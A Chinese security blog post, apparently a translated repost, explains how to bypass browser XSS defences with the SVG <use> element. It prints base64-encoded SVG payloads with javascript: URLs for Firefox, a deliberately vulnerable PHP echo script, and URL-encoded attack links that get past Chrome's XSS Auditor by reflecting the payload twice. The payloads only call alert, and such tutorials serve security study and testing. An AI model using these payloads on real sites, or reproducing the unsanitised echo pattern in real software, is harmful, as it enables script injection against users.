用SVG绕过浏览器XSS审计
SVG - <use>
element
SVG中的<use>
元素用于重用其他元素,主要用于联接<defs>
和alike,而我们却用它来引用外部SVG文件中的元素 元素通过其id被引用,在<use>
标签的xlink:href
属性中以'#'
井字符开头,外部元素的引用同样如此 基本结构如下所示:
test.html
<
svg
>
<
use
xlink:href
=
'external.svg#rectangle'
/>
</
svg
>
external.svg:
<
svg
id
=
"rectangle"
xmlns
=
"http://www.w3.org/2000/svg"
xmlns:xlink
=
"http://www.w3.org/1999/xlink"
width
=
"100"
height
=
"100"
>
<
a
xlink:href
=
"javascript:alert(location)"
>
<
rect
x
=
"0"
y
=
"0"
width
=
"100"
height
=
"100"
/>
</
a
>
</
svg
>
sxternal.svg文件以<svg>
标签开始,其id设置为rectangle(矩形),使用<rect>
标签绘一个矩形。可以使用<a>
环绕<rect>
标签,这样会创建一个超链接。使用Javascript的url协议,可点击的超链接在点击后会执行Javascript。
firefox
由于加载的外部SVG文件必须是同源的,这个特性看起来似乎无法作为有用的XSS攻击向量,但Firefox会帮我们提升这个攻击向量 首先,你可以使用data:url协议,它允许我们百忙之中从内部创建一个文件。它要求正确的mime-type,在这里为image/svg+xml。mimie-type后是我们的攻击载荷或关键字base64。特别地,由于数据被base64编码,这有助于避免突破HTML结构的问题。 现在我们不必再依赖于服务器上的另一个文件了:
<
svg
>
<
use
xlink:href
=
"data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle"
/>
</
svg
>
解码后的base64载荷:
<
svg
id
=
"rectangle"
xmlns
=
"http://www.w3.org/2000/svg"
xmlns:xlink
=
"http://www.w3.org/1999/xlink"
width
=
"100"
height
=
"100"
>
<
a
xlink:href
=
"javascript:alert(location)"
>
<
rect
x
=
"0"
y
=
"0"
width
=
"100"
height
=
"100"
/>
</
a
>
</
svg
>
浏览器会显示出一个黑色的矩形,当点击时会弹出其location 但是为什么要烦扰受害者去点击呢,他们从来都不会去做该做的事:) external.svg中的<script>
标签不会被解析,但是SVG支持<foreignObject>
元素 通过阐述这个对象需要的扩展属性,有可能加载非SVG元素 这就意味着现在有可能是有<iframe>
、<embed>
及其他所有支持的HTML元素了,我们可以从一堆元素中进行选择执行Javascript,这里使用<embed>
+JavascriptURL协议 看如下SVG:
<
svg
id
=
"rectangle"
xmlns
=
"http://www.w3.org/2000/svg"
xmlns:xlink
=
"http://www.w3.org/1999/xlink"
width
=
"100"
height
=
"100"
>
<
script
>
alert(1)
</
script
>
<
foreignObject
width
=
"100"
height
=
"50"
requiredExtensions
=
"http://www.w3.org/1999/xhtml"
>
<
embed
xmlns
=
"http://www.w3.org/1999/xhtml"
src
=
"javascript:alert(location)"
/>
</
foreignObject
>
</
svg
>
它会通过<foreignObject>
加载嵌入的标签,使用JavascriptURL协议执行Javascript 然后我们用base64对载荷进行编码,通过data:协议加载它
test.html
<
svg
>
<
use
xlink:href
=
"data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle"
/>
</
svg
>
在这个案例中,test.html用Firefox27打开,会弹出location:
这样我们在SVG中就有了另一个能执行Javascript的向量了 另外,在攻击载荷中包含了一个<script>alert(1)</script>
,这证明了<script>
标签不会被解析
CHROME XSS Auditor Bypass
现在用这个特性来对付Chrome,Chrome不支持<use>
标签xlink:href属性中的data:URL协议,另外目前还没有找到无需用户交互便执行Javascript的方法
不过至少在右用户交互的情况下,可以Bypass Blink/Webkit XSS Auditor
这里不需要用到参数污染,有一个参数就够了,Blink/Webkit XSS Audito无法捕获将参数拆分成两个或多个的XSS攻击 看一下这个php脚本(xss.php):
<?php
echo
"<body>"
;
echo
$_GET[
'x'
];
echo
"</body>"
;
?>
这个脚本存在XSS漏洞,但是使用下面这样的载荷则会触发XSS Auditor:
http://site.com/xss.php?x=
<
svg
>
<
a
xlink:href
=
"javascript:alert(location)"
>
<
rect
x
=
"0"
y
=
"0"
width
=
"100"
height
=
"100"
/>
</
a
>
</
svg
>
因此,让我们使用<use>
元素吧
Creating the SVG on the fly
我们想加载另外的SVG文件,因此我们以<svg><use xlink:href=
开始 但是等一下,它必须满足同源,我们不能使用data伪协议,该怎么获取服务器上的文件呢?
很简单,我们在一行中两次利用XSS漏洞!首先,我们构建一个URL,制作一个包含了Javascript URL为伪协议的SVG
http://site.com/xss.php?
x=
<
svg
id
=
"rectangle"
xmlns
=
"http://www.w3.org/2000/svg"
xmlns:xlink
=
"http://www.w3.org/1999/xlink"
width
=
"100"
height
=
"100"
>
<
a
xlink:href
=
"javascript:alert(location)"
>
<
rect
class
=
"blue"
x
=
"0"
y
=
"0"
width
=
"100"
height
=
"100"
/>
</
a
>
</
svg
>
如果你将整个URL粘贴到没有XSS Filter的浏览器,马上就会出现一个黑色的矩形。但是前面已经提到过,Chrome的XSS Auditor会捕获这种攻击,还是继续吧: 现在我们要在<use>
元素中使用创建的SVG文件,制造一个形如这样的URL:
http://site.com/xss.php?
x=
<
svg
>
<
use
height
=
200
width
=
200
xlink:href
=
'http://vulnerabledomain.com/xss.php
?x=<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/>
</a></svg>#rectangle'
/>
</
svg
>
不要忘了进行URL编码:
http://site.com/xss.php?
x=%3Csvg%3E%3Cuse%20height=200%20width=200%20
xlink:href=%27http://site.com/xss.php?
x=%3Csvg%20id%3D%22rectangle%22%20
xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20
xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20
%20%20%20width%3D%22100%22%20height%3D%22100%22%3E
%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E
%3Crect%20class%3D%22blue%22%20x%3D%220%22%20
y%3D%220%22%20width%3D%22100%22
%20height%3D%22100%22%20%2F%3E
%3C%2Fa%3E
%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E
这下应该会显示出矩形了,点击就会执行alert,但是这一次没有触发XSS Auditor
原文始发于微信公众号(迪哥讲事):用SVG绕过浏览器XSS审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论